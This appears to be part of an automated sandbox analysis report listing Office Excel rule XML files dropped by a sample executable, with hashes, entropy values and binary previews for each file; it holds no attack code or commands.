Preview:	<?xmlJN.Z.."<`...........m@/p.\|.=a.tQ{.\|..o/7n.'.I......b..;..c.....;L.....v.a.0P~+4_p..X.....&cv&...];.1..L.7.Mm.n6(R.{ebu.4Q.1.....l..=2". .....1....;EvJ.4..d.7..k....0..X.....!xf.)C..^....$2._.Kc.[.<.[.$..7.9.I......\...R.Ll.Z..n.O......p...j%......&...e^...9.T...Z..z.{1...x..q..&..s...g.# 7...g.......8..IW<...].>......B...s.('..P..c.....G;s...k...3D(.,.6..a.r..v.$w.OL$.k7....d....H..s..c......'?v...... #...ABY..Y^bT[jI...o.....E...4.......C.W_..X..tD.\J....S.HmC...o..`......d...l.tbX.1..Y.N..........4i(......$....p.f.T.Qt.2JG..;..h....>f...XS./.....T..7SB.p.....u.}.X.!5.......n.0l.....R..o....<G......r...........wg...^....4.s~..p.;k4"!hi.=g..~.i...........P@l.0..`n>jH...)....>.wM.4.8..c...f....:zE......>v........%~....n.....L....\<.\.!!3..o..F...!......gF........A....oS.O......fS........<.u.......K.x.&.>d!#._...e...V.Y.%..2.......J..'.M...-G.^wW...=...p_.*.._...d..../F...s..G..\|.\|.6+`T.ti.../..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.860181360819113
Encrypted:	false
SSDEEP:	24:gRvqb/NhzwUD+mq8HY+IfOxo8ElBUvGCt3pzz3NCbKmHccebIoLSK3iVbD:gRSb/3RD+mq8HY+xmlBUvzpz0bt8XUoi
MD5:	4027678A0C89CC3ADA35EB2D02499992
SHA1:	7922B40218039D13DDC4B447C5DE037DDD00507C
SHA-256:	5691869E08D7DBAD44353B42DB7E4C5FD6B9ACFDB81A59D257DFB479495DA89F
SHA-512:	79F4BF6E10397A21BEF483A0549657731AB26592209F9B70AE3EC6CA5E58C4F422D8B78A0881DC89635CD7E1626AD01CFF03393E943BF5860093F90BD55307FB
Malicious:	false
Preview:	<?xml.i...d.Q..%..........U..e.%..7.....:.....c..fw.I....S....F...Z......BO....<Tcd...,.Y..3\Ao........c.u[,H....%;....y.f.ZxW.<=.=V.&.......1..].p./.G5c.&T...5n.=FU..}..mU6.^.3&q.A..M..3EK...]E+!..j...._?z.)..v(.......e8)..%.........y...3..`..$9[.2A16......xBs0.H.PxvhX.......................&..GB"..#.=.....8 ...j./&.i\_..mG....G.{...... .W...k[...........=AW=v.\|".p?,K_.&K.....F.);..z..b.^.{..s.m.G.<.?.:.k.4.@..5N.0...n.p....J.Bl...T...^.pA.B,.....3.r.R........d..^dwKK....F.....+MU$..O....\|X"C.-.E,..z...........d.d.~N..D..>.N..P.7....%..fZ....i-/....YH.....?]X.#,A.............4F.Do,.d..GO..;.W..Q...l..c...w...#v..g...{....Gt.5]2.VI..:.K......Y.F..Kc.@Q5..Ax....{e.........{....Ms.A.... .f...u.uR.e . {a..I.<J>d....e.W...."....u+7..^cf...f...-mQI..J.z.. .:..B.$m....Qx.Q.C.f.v.P.~}...t1..m...i.m^O.t!..;...{...0..o.......,.d...M...x~....&....+..g..%...C.:y..'az;bs.>/....~.....JF.j..}N..(.vS.F.e..(Y~.Nm1.@.F..;m....CE.....:?I..L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.915814298893384
Encrypted:	false
SSDEEP:	48:yu+Rqq2ETVb9768BFbx/Ay6l/NLXHIFhMRECt/RyBA7+hEAFD:yJqzMVb9768B1dr6l/t3IFaRzfyBAKhX
MD5:	DECE2673761E1E268B28C9563CDBC3AF
SHA1:	E69A3DF3A4E04B1A69067350CD69A9C722A29423
SHA-256:	7ABB2501C625349FBE2695217F069335E814FE42B5521CCE400E774650AE5854
SHA-512:	A9708D37E38A94B6380A782745689F0FF50C1803A0187C488142B894B535D3A3677CDA1805FC374D8B9A72B9F6FB4CA52326951AF426A6A62AF05230C4273D16
Malicious:	false
Preview:	<?xml.e\2K...G.3..+.s.,.g.q......x..,X.D..o.R`.. .......(.....q.....5..@..N..DD....s^...$C....;..FX.L/p.0.!^..!....7.&...W.2>.....1.ue...V.t.......)..L[.H...Z.Fr.o@X.]...F.x......iUAvg.....5L.J.q.2.........X`...eh.....S..IW..<.9.)g..._.z.)...}....>......Y.V?5.Q...O..&7.a.C8.)<,.....M..T..k..^.%.xP-...~[.vFm..7".yD`.(....}.q..(.6.E=.....\..D...:..kP.q....7...V.3.oV..\.......Z........ ;r.X...I.'4.....'I....b.a...j..F.....7.WC...AW./....eI....,..-.6.P_..,.]"..s...~..@{w.....W'gz-H.k..b...VWH.u..aa.S.fk.1.]..B.<......&.{.......tux.>.fq..'.d...U.}.....v..0.&...l...Ew.j7..1.Y.k..=D..W..E......_.......-..\.;..i.a.Wz..../.K.`.dEpb....v....g.X6.....t(D.2.(.<,.t...$#3.%{...A..j..q..z.....M.FD...!.3...?.BC...C.+.sT,#.7B....I)n.4X.$?.,.....71....m.~...?I.7@o}...H.7.tl.7.D..!..ke#......3%.J!.}. .B6....k/F....d.gRI....pE....0..VN.\|..2.E.x.K4....3...H..l3.....S.l..X..+&),.6.......{).......\|`........IX..>G..b....q......cB......P.....a..Z...BzM..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.841679052073557
Encrypted:	false
SSDEEP:	24:zWawo8s7/d8Cd7dMGeN6wnmhc6T2/WwpyQZra8oNGvA+xB1KdGz3gMprbMxgFVbD:zWmT8kdT2/WMdaP6BQGz3gMprlFD
MD5:	67F34C7EAE230ACF543F797360B62694
SHA1:	6001A08777D25555C997891D5C023D7B333CB6BE
SHA-256:	6C4FA8EDB82A800247BD46E179B913332A9CF75BF874CA45E20CEBF13FEC7D3E
SHA-512:	C3E21004EC779603DCE52E89FCFBF86347CA32ECC780CE0AF42DEB3123C071BE07B9DE67E28422C110131467DAAEC59F37D6E4CC2A231BD23565F672A5DD6F66
Malicious:	false
Preview:	<?xml.."J.3@t......G..aXOhyx-....f..!.#.6Y`.n..jE...=......[.@X...p...x.1G]L.^....S..v..a..Y...g>...c...Z&."{.Q....S....-..>.....z..#s.\8-NP.L....u^..a-...4a0..`Z..2...[d.jG.(.T.>.0.h$I..;............0..<\|MY.[.?.....S.[..x.}..'i.jwmhCU.k...Y.j..."q...........[@..~."...i.,.n.j6l..`a...v..K.......J.@.6..`...eVo/...k.>......2..-c\|k.X......Z......R.....!}.C..P.bj..$.B.2..%..8p.#ra...P.$..L1i:.5....q.`..b..t[..-.t...^..z....6!.Gk...@.y..N...Sg.[......@\7....):[._.......W'kx..........?B..o..!.4ezc..{.{hzW.tW:...'......O.h=98@=D&.P.....l.6..EV........\|..x...(d..J........0H..eS...#Hm..S.V@{.............3....`..#4.+.b...0.v.....g....mj..=.2x.....Em.B......E...K.V,........c.6... ....6..M2.p.bX..N.G...4H:......"1]....*,V.Q.L.!..........A.....xo...[...rT_.V..q&f>~..M. .hY.&.0..[..%>.N.<....S...m%....k,..0.0.1)R../y9Q....-..b..[..R......~..)g..z.(6[c<.~t@t..'.......ex4......~..N.n=Mj.S)...X8.V...w..y....W.VW=...Rh+...n.>.U.e.2.r&.v.Z8y.4n..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.808390879466329
Encrypted:	false
SSDEEP:	24:QWtEgM1YOztGZ4yw9Yf6q9gGakVOFE2XnqnprY5kFvVbD:QWD+tS4TeFg2D7npkyFD
MD5:	78D60D58FBE167F6AC082CEBF9C3EE5A
SHA1:	C7833FBE62939F3E85C46F10B44DC9FFB6BCF5A9
SHA-256:	4A5029432EDD3A0F90B5796704CC001FEE8B98F1CD5C63D4DFDC547FBA637C4A
SHA-512:	6CA59CE87CEC0921AADA94217863A9FBAA8CA4DE174C18F998767FF0FEC9BBCFCB23C4F3A2DE5DCB5FFDFC3266BE44D37C51B4D1A45EAB6A9F62BD562E52CD21
Malicious:	false
Preview:	<?xmlm`..q...S..e......MPe....NP.\......H..:......[k.g{r.<..mD...?.......7mB=.f..6O.1L.[......P...$?<.+....P.$y'......<...Sj...$4.Ke..=jCX.e.......r Z.JE...sxyJ<c..6r#....B...sV.K.O....b.qLt..Y....K....D.3.~.F..q...i..m.._~..?....o(..&.;.Z..Z.A.*&.[..'.H#.K0+w..$LY..s..3Bu..........l.....)og......}....A$..&@..z.....?PO.l...U.mjY...GHC...Z{h.E.`......'{.-.f...g.(.....m.[E... s....Y.[7 ;E1...8.c..M...}!..l3..G....l....C.7.!.3l..%UP....t.3Gk}....1n...9.....,....h..42..[...D.........d.B .p.........v.N^.o..?...q.m...Fd1a\|{...P..Q.....>...%.OC.].c.&t.+...0u...0....v%.8\|...Z.&.h..@...pF...Yy...]O...+x._v..\|.V....o>.%.j!...x..N.O0[r...o8.;y.H....D(.-........ZC=.Fh+p...o.._........A.v.%.D..nq...p.O..T..4.?.l.w..Q.7..V,..{.....^.7.t.$6[..P..+.r..~h...\.#..o..&...I.IW....3/R"{........E.r.+.D8.f\|........).._{W..y..Y3.....1.....%..j....).B.D...,..VL\....T........){........;.N.-.....s.....3..9...NF'.?d{..;.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlg

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.8729914970872095
Encrypted:	false
SSDEEP:	24:7nYBREjg67MEM4gj66feHgqT6Lk2rIVaeXgNV3YYg5w/Up8PQQL0+PXOhtVbD:7neEjgGMH4y6XHlDUeqV3Xg5sUuPXIFD
MD5:	E30125C886C9631D802CC09719FB9B63
SHA1:	9ABBFE6456BCE7B30A05201BD42E95FCA8383831
SHA-256:	1C76125D217691F4C52BB42AFAF7AE948FE8FACA240441A1E5384452975FC72E
SHA-512:	EAA410F7DB55AA843CCB9CE9115DDCD140B1F92376F267524414893474B56CBC72F00C5BD59573F086FA5CFBFB13B1B67B6369F5814F038286D7E048C06DD6C6
Malicious:	false
Preview:	<?xml...X.\...T.nV......q@.8s..s................Z3..g...j....;`..}%^8.......;.p.<1d....YP....!Y..\|L..{Cm.o..^.....`....0F..T..U6..b.[...Ac.A.Z.4...&.Q.[.H..'44..e.F....L...B.K.$".....@...4...2X...2ts~..R...P.k.P.L..<.......T..kW.)....3.j.....A~i-hw`..v...8..^.!..!j<...W...{.....6.!.....v{.p....5...g.....<!....j.A...(..KR.}...}S..[M...w.0......V....{.hj..l..^Qd..wg,.....Lj.u,.P.\...b.^......<.sMD..Y@=.e.:.-.........I..c,(%.ru.K. .Nb...^...(f..1.-0.@..,w.(u....ODA.....rd... ..KV)..FE..sK.4...HL.I1..B..Ft.2.H..$.!.[.".,...T.&.h......B.cj.....e...M.o....[......&_#....>..+...?g....EWq\|"....Q...Q=".g.RcZo.;.7ua.b.,...k&.q....}H.,tY.!_.Np..Vo..>.&@...dv;C...L.$.....3.[.N.........}.UE.'H....kx.T......<3.......]G.$..S.g.#.b..5^.WNZ...../.Cc........W6.\.W.-.UU..L.J..a.4.\.m...n...D..5h.J.EP..l.aV^%.o.....`.L}..bU8t1>..G.....w...w.$Nbp....0......1=.q-Ow.#/..../..g:....=..q...,........F.=+.....~N...;r....6k-.{.{.........P.....CQ.[.t.q-......:d`i...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.812649132394254
Encrypted:	false
SSDEEP:	24:s78H4ItG0WRfFFZiu0nfJmRYYiZcG+R3uJevFqownvYPU8SWVbD:W8H4ItJm9ibgKY2cGQ3uJedqnvqHSWFD
MD5:	C73A4D82F84E878B99564A4FF4E48891
SHA1:	92F05448D038F09627FE689E5E33403137C2551D
SHA-256:	E341BB1A9E5210ADD864FE52F52D72003DDC1BB2A84940CCAC263CE46D6F342A
SHA-512:	E8332FFEE698157A5C2D3FFAB3CEECC770D574CDFC719182E6FE43FC1183508AF1E86717CA1C8790FB88C11226056A6C1743410208A1781B21DF31DC107EEAEE
Malicious:	false
Preview:	<?xml.d/.D..l..m~7..a.J.h+\|.ma.6...n.._........."JL.....F...~J.._..dx...z[A.....Khs^.}...k.3..~...}B..V.$\g..F8..Y..^N...\.W..{......M.$.?..x6Kc.,df)sg..\.s....s{..S+L...m}.>.r5Ww....XY.%{.1.n...a.7y....[...0.....i..........a@...'.f.2.m.......7.T.?...."s.g.J......Nn..1.....}..Q.O4...5...q<'.zI...A].A.W...Fo<.F[..K.R..&.f.$a.5...q.7..fz~..'.S.zs..Z..0...D.a.Ov.,a&....#".G....Z....k...P.6...4.k.V.....V'O.M.oj...b.(.7..p......P..._n.S"...j...n..yL.:y..a.\.`HQ....4........X..A...l....@\x\._.n6.bi...t.l1.C6....t....&..`.2^A{...T....M...(..@@.Uk=./=}.....}.H.}.n.cL....`n^.d0..Q....w...w........w.-<..F...g....F%.r...Fn.Fk.D&x.?.... \....T.1.@..}Bz._.\|..%.....a_....HZ@,0.'1,r...1.d}a;..Bs.c...`.z......d.B,.NP.k..S...;....Q..d..%3.W-.R...?<Z..9.^}.....+...4vL.\..R..>.........C..w........7...p..[.Y...>31...c..p=m...gH.:e..p.W........:....}r.Y.U+..:.9/..c\@...I.........i{_...j.."uK.Y..(.?..Ga:.....Ec.....Q.]IE..4.l...^*..&q......S....r.[..;5.Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.818820826000623
Encrypted:	false
SSDEEP:	24:uAG7bI+xMICOnX+b15OrQ2jmPSDncafdUt7VkdoS9rbFfow2VbD:uR7bGICGX+b1j2jmPSga1WKdzfow2FD
MD5:	B3BFD5A0A09E22B9E57F0C66CCB0BCE4
SHA1:	C63803F14E1B6897010C0321A9E33DD5B85C4796
SHA-256:	1B902554AC16B5BCC33E7250757F8D7894B9FAE9EE430193BD7033E4E683D9FE
SHA-512:	8983EB8BBE66FE346EA051372B5D3BD8BEEF49762B5305A23314B760A601B53241193170B42F0946928CD99A4B4F7C3A8FD2A680C7382A7E5C055A0C84B275A2
Malicious:	false
Preview:	<?xml......Z.mG...Wg.}.".t..Uq...p.;'..C.U..ER..1,=....z\..d.C.H7xB'.iC8$y.#.4.`..a..j...'..1Q...PV..4B.n....'..D.d".s~..n...Y...,(...LcAy..........?v...L..o.l...T._.5......Jj3.......8Vl....V^y.z..b"....f3]L=.q@.S.l..4..b....I.]3.q+&..P-.@..io...j.N..i.6.. `.F%F..b...^......R.\|Y...1..d...7xI5...)..bN......k.D.Z...{.iS.}t....-/.V..v.........qO..5Z.-.q.Z...!>....qE.i.s'..~RCK..\|H;m.....L..(.*y.K...p...Wv.7.,.....O....ig.s......w..w...e..."..R..kP..._.M.N6......I3SN...wN. ..J....$.ovV[...\|.E..+...M.c..!V" .h.Z"...b9.<.j.\|....M&.):?.\|Cd_...Q.^..Q 05...8.R...b...M..-.....Y.!....U...zP..!,..ENcF.xhUY.C`.....(2NT.J.s:yB.uj....8. ..0.5]tWA.2T8...?d...>"z.6C.L.c..X...(.S...E....4Ad.I..1.d.).....&?..j....V)E.H..c..Z...E.5...%..3..7../H.h_.kD.....".L\.#\....c......3...o....\|..VQ?.v....)...`.94..`.D....M...?.g.k...4...`+.........3.."p.... ...}.....@..OS......XN.b....Z.<].3...........'/...`.'...j,..]9..k.;A...........%.EA0i....3.[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.910901474918691
Encrypted:	false
SSDEEP:	48:oxAb7nhnx70+LH7HBsU4d41PnUMrhQDWNd72VmzmUGBFD:mcxI4bhydkNqyiVKmUA9
MD5:	CF75C21659B12C5399948CF156299257
SHA1:	BA8DEB47F9FBAE992C170CF728B3793AE8460F63
SHA-256:	4B64D407FD4FD675CD8846BA0D1FA75265CAE100155CBD3B51F6F95CB97B8E34
SHA-512:	F6E94D6F95E60BC5B6848FD1F6608DEDDE0DF032FCBD5C79B71B4F75F5133E9FD8915751259F33E81D7EE4F2DDFD7CDBD1077E220D96EAE3A676EE0AE1E018B0
Malicious:	false
Preview:	<?xml..1.......e/...n.`..^..B.on.S.\/.nB....w....A..77..z...wMUb......w^...?RI..W....~.U......w.r-2..#..}w,.........f.8Y...:.+..\|G..{.AP....3N..c.....&.A..6....F.(.C)....K!.H..v.@.=:\|..\n!..CC.,...Ln i.(".\|..O.......!(...Uv.b`........G..=.H.....s\|.Sc6.Ab5jL.................}e."r.....bm.\|..@2V."...}.eo.!_..........`...lp.)f.F....d9.....f...E.5...".t..QDe...).5V].....W......C..../...=...eB:\|.7t.7#=!.p...O.S....2.:{....p.PxE..4.p..V%....G......MP..=:.,..y,."QK....{^x...pN...=.......W'>B...+Z..GOj.f.GH..P.b..N.....v.m..>...],.O.%..5.7...X......ZIo....>).K.T...@..'U....A.....+....zw?.,.....A..{.M=...`V.0.4.......1.../..MB.:B....S.tn.......m."}.+5..m;L..n.1x.s...5.w[...IFuv.4..a8..Q?R..#.....<.'n?...].beE..?...1<Zz....G.E.C...:.+\N..=..F.O.r.\....$.Y....=.&z@.....z......30.n...s....G...g.k......R..f..O...WN_s..%o..u..U...[.2).Fz.Y.8g..U.....3W.&pV...r?...PX...O.#.g..........E.&..... ..TF.k:I.a...%....`.1.G.m...T....^#...r...D%...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.8921717621321035
Encrypted:	false
SSDEEP:	24:QKW4dR5fADsKPBh0jC/1OqvAnYg4P4p2+nO8mDI/9uIA7dDRasFoQutMNVbD:/T1fADsuyeOqvAns+nOKzAZDRDFo1tMj
MD5:	F02660E79FF411E1DEBEBE5BFCB0593A
SHA1:	65B04B554658A47EF85149E9E2D0B36D0B68BFD5
SHA-256:	3DF5AB1FA9E87DD6B07B4311D555E0F48AEB20CCD2ACEDB1EF387F84D7DF91F5
SHA-512:	3E6607B68EE4DC151876F9743BD8B10944A156DE8109E86399D33782F896FD0F58348F4EB813BFDCBD8B65BD39C2058F541719FCAB6DE41ED720C126EE5FFD82
Malicious:	false
Preview:	<?xml.......cXPK./.H.M..`..[.R.b......r.....=...(.q\........G.7r.t...c6.....R5D..,..&.L...4)j...;8!q.P.,...6...z.....[...B@...........`=%w..z(..^b.[Yzwf..r..a...6y[....o..^g 6..........J........?.V....x(.:.@. /N!,...E...>..Vt=..........K4..F..x...\|.....5.(S..I\[7.T...Zv...G..^.,......AMk....tt.@A.....GI......^o./...e...l..+.wQ...=D".G@M..m.nA.%.$....gc....kV~..hZ..XW.z.F..g9..+h.XN%...2q...-mYi..%.k....V......j\|...{.....B.Z.."..>.....\|Y..q.mu.0...v.U.Q2w8h.b..k.H........D`.~....o..Z..E.9..........8F.x.K:q..i..9.(..a$..y<.n..8.B..$.;.'.... (!D........t ...HD.wtEf.P.Hf......3\.t>.p.yiu4U.....y..}./..Pg....u<........VI7hYnG.`.G..!.....\v.....C.{.D:.,;.+....;..{....`......V8....>.+:2."P.\I..5.F.T;.[$.J.O..=p.T..\.c....=.rS:..1Sw.+.2<....V..0...}%.?.T.n".Q.GC@..et.b..."lX.<x.&...L.....n.@.N........6.V#.3.9t?X(=.yL.o.....p...A.o...l.......Tf.}A\....,.]U..},.{..}.3.*....OC.[..Z....w..J..6..Z.Q..[t..P.\|.6......7<?rFcT.....^.yO...0....e."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120127v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1511
Entropy (8bit):	7.870117877395822
Encrypted:	false
SSDEEP:	24:wYg+wac7bLgj0Pxuuq9B+WPOdDDGdVUfGIrgEzUKoRFaV/NK5u5O/K+Ikww3nFBI:lg+IfgCxlIB+oORKdVkxU/EFKnC+Is3U
MD5:	3E014DCEBD914A0B7F931D9FFCBD15CA
SHA1:	9BC1E594B1828BC72985AAEE05121A50FFFF4EEE
SHA-256:	48F0F458A44E3439A4902EEC557EDFC0E5923D1E51FF0FDC067894FB43FED48C
SHA-512:	71379FF9237BAF08CB8D15FBAAC267568C725A8E6B60211F8C434960B81E526F0142A3E60B4F82708D16EF7573C0BC29521EE1F578291E111C77EF29D0CB1F8C
Malicious:	false
Preview:	<?xmlZ..=.[8....;.....%..A..x...j.c.<B......]..g.&1p.y^...pt..(p.dY...:.k..FZ..V..........yg. ......../..N.oT...T.x...`.h Q.i.)..gj..E.z.uz!...f....[/#.YwmV.x'...kD..^..2WX'..dAc.....G..Vf......E.]..@....jw.v_..1_...5..l....2\m...S..` .qb$/...o...K....)}.5.....y?...h%.:._.3.m.p.;...S..Hp.9.zcD}..&.0.ce.....Fh..v...U]Fj...J.6.(]...`g.E_.t......w..iu..FqSvI..........S...,07...q.^ .h.A.($I ...r..h..@8.%.."=..C)....o9...7......V......5..>o.6..M..h}.S.Rq_...A.2..J.....R....p......~.L>...6...:...g.N......V...y[....=..X......a..".....<n3.../...!:..V].5.h.BB...!)8K%>....d.szc..eSc..[o2.....3U@...w.T.n..G.V>0.C..M4...;.d8s.....N.s)WX..e.'.S.D....W....f.<.......NF}.j.8 ..,..>$..".G......$.o...*.... ....T.V....E..+..p...-7v.,..l...H[..8lH.z+&,tL+.....'.;./.D...;.X...$.2$R...Z~...#...?..OS..M.M..bN~..W..G?,.M-.c...\.]1..1...Ou2...M.E.t9..RuQ.`.~-......6.2.).D.2T...S....gz..~:`....S.fG......U'..w.y...[...R].-.x..@..0...A&........./...j..@..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	991
Entropy (8bit):	7.784658645646556
Encrypted:	false
SSDEEP:	24:oC9MQ6LXtB3Emlnchtn7g23bKD7w9ZAuH0plS7e++UiCVbD:gbzf0GnSKD89dylIexOFD
MD5:	8A7ECC943A61F39D8D2B7223E32D93DB
SHA1:	650ACB444F299FFB98E8E228257E4F6EB19E3EC8
SHA-256:	7DFF9C160B8FF9A4D7B6A5AB5982E517DE099500F10610CA64996CFD3382E2BC
SHA-512:	3066BDA24BA167CE6C0B1AE001DE1E872D56B02E60F8B89583362273875889CF5B4817323AA5EBD21A94A01BF7F5B2FF59D8AEE1364A319910DF95FF485E36B1
Malicious:	false
Preview:	<?xmlN.@..}....R.&Fu<.+,.s..`..f.....o..G......t1....J.d...8,.....SM..H..i,...-..U_NB...:.....z.E..M#.~.\|)m.!g.....5..x....... ...Y.(.Z_...X..\...~.>.[uA..w.H...d.Qo....jIjk.k..}........p....l_.I ..$...p-..Yf.Z....;..B.\.r?.JNMh.u..f~.V..+ud..74...}P...S...efA...].:~:`015?..m.{u.5.J2&.m.....M.yn. j.E... .HT.%f.....4F.. ._..i..zz.....k{...~.!H$...Aq..w......[.;...O&U.k.me...yT.A.%.I.N....~W.I..G.. ........8.'..7Q....1.,.....{..BXM<..s.v.tF.7...(t...?..F.70\.e... S..u.-r)8.=}..1"..v.e"..9.......0........X..<.P.a.[....^..<~z...\\0..P1@.........d..~Vs...[E.O.......wx.E.p=....G..H.......Bj0..b=.f..Vm.....lj.......v.e(.z...<..[.....".ISj.D.C.......n.....2.Up.......-.....n.Mp.Y..<..m.+...As..H......9..)D$...l..ka$............p.P..M...7....\|...q.a...\...GR.v..7G4AsI...K.Q.....M..]...HL.....D}..+...v..<G...&...7j../.\|.3......Y,..i..(.Gr....].........JY.q..jH.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.949943048539463
Encrypted:	false
SSDEEP:	96:0lqymAi4vT6bjYMm3JP7+H8nCt3mVmpI55WLZFTl9:xpAneMJi8I3OmeeZFTL
MD5:	DCF6935B03531843E7912DA23AEDEAE0
SHA1:	7247F8F4D626213E71DAFA38831965763B722AB7
SHA-256:	37ED5CB276B0808FABF4A762E0794CD777C4FAF18FA7EAC903023EFCD1C238EA
SHA-512:	6BE03E6054793A65E1D3D8CBECF4F551A810F7DD88C9FCDA6FF2E78B9D8A56B2736363E00D1117B0FFAF0CEE1A1FF2547917F2E1E687FEA42A5DC4C11901FFFC
Malicious:	false
Preview:	<?xmlR....l?^hH....D..;... I..w..Z-[...1.`..xA`.z....w.`.....,wbW.l...@....L.....S.#..N'.x2Gb.lv../..K!.E.`).67.E_...g..g). ...h...-:fw..u.....Lz.\.....x...".....+!z.H0..)1.m..Y!G...]..D.hJa..N..u{.t.q.zJ....a..`..-........5.U....c...z.....v.......B.p$..-.+....W.y..7@l.Xv..`.n*.1..-X..M.........9R73..K..CIa...Z.-.F..w.4.....=.....;.v..l.oI?.3X...$..o.9i'Pnh.2......'.....?."...VB.0....7.Kt.XC....6#C..$y.c>..y......7......y$.>...f.h..B.O..";.IF....&@..W`..-..6B.X.y.......w.....=@....)...'.b.>`.'.e.yG.W.rG..!.{g{....l.....U..W...N.....3..(..C.{i.)oX.W.E=2.I....aX.}..k.q..dV$..+..A......Z-zs.pr.p4......t...eY..s..gX../........j..:...E=..h..]./..PT..?..m..{1J.^T.u@x.6t..U6N1l.>CH.dF...F....no...o>E+...6./!.V.....6..;....g....^.^........../,..v...D..S.Iu+m.V..).Eo~_.A....?V..)......p.Z.\|I.+O...d.........>.2g]Elby..nxpA..d0$m..L............+lc$y2.;e..II8rp..o..8..F.^..x..;\dn.8.}Z..Q...Ig.....0..;..[R...G@"bN..0K..o..R..r.....8.Ba4.jxJ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120201v14.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	7.936210406996015
Encrypted:	false
SSDEEP:	48:Hf4O0tvhz5UtaFxs64mOH92+ycA3zV4/24PKJUl2AoDEEGXtNMnpNvHPF6kLbHO9:HAO0t5zpxs645d7yN3zV4/bCWOE7tNtn
MD5:	B8B060E254189CFD05DF56D97E7089DC
SHA1:	6884BF615477718BE887F649C1BAC085FE7A101E
SHA-256:	2B5D0300DAC23AC4649E6C5BCB2FDA45F24ED35C0BB47B3C8E0B1DB6CCF529E1
SHA-512:	3550A2A2E54A90731C606850E9069083B09234AAD5076E4D4296AD00E264788549F6920D8A61D7ACF7D957467357F3153D3AC5B86EC2E8F996652C26096C3728
Malicious:	false
Preview:	<?xml...{.G\...\....T4~.o..I..M?.s...7.d.A..=...(.;...,.l......m...u..!n.H.....1D.........<U1...h>.<..-`.g.D.@..T.c.=...R(..\|o.1...+...u5..V.Xt...6.W..'...3R..fb=.d..O._...uU.......U...1.c..%.u........:C....o1Kri-.9...t....{K2.l../`.....H6 .O....%.:}tf..V6.'..^.s.Ycc.f.+C]..2.w....P..0..^pmD..N^.,........4.[9..C..Ge.<4...C..z.....K.V...+w...&AX9.<.....M...n....t[U.B.....9.....>..b..!...T>.?.@..{.xp}.AEp.D.).!q......}8..<......v....D..6{.z.0..H..;a.....3V...G.w..6.w?.X.....l..`.j.gx..F.C...)....^.i..>"...R..'w.`...{1.-......H..N.....7.....3].4.... ..._.....-2k..`...H.......(B..W..iT..._7.T7....A..:......7.V.c....v....I.:....~h..1..}...9...c..F..\|E...sG..+y..D.k\.[2.V.c..Q...(yz.......O...mb.....r....<.@s...o2.....X.P....HWB.7.H...`7..$..qE..B$.{...6oMU...[..:g.:.....?D......%..Uh.......U-b...j..(.$D...&.6a.d...ArCu.<.q...b(.u...7...f...a.........zZ.......>.\.b.u.1.2..X.%..l...G.(...S.Fv]/..`u..'."...Y.......j..H...}.!E.&.......pH.d...w.2..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120205v11.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3363
Entropy (8bit):	7.940907774339737
Encrypted:	false
SSDEEP:	96:ozJcjQxUuCk5LfYxtEgRYVA7KDSf4gIfmUQTB2H9:WJvUuCkBfYgKYj2wgvhTK
MD5:	D1EE76948E8294C3B70227B1F7C4B040
SHA1:	D782DC9C506C2FCD5017F80991CC821477A3BBBC
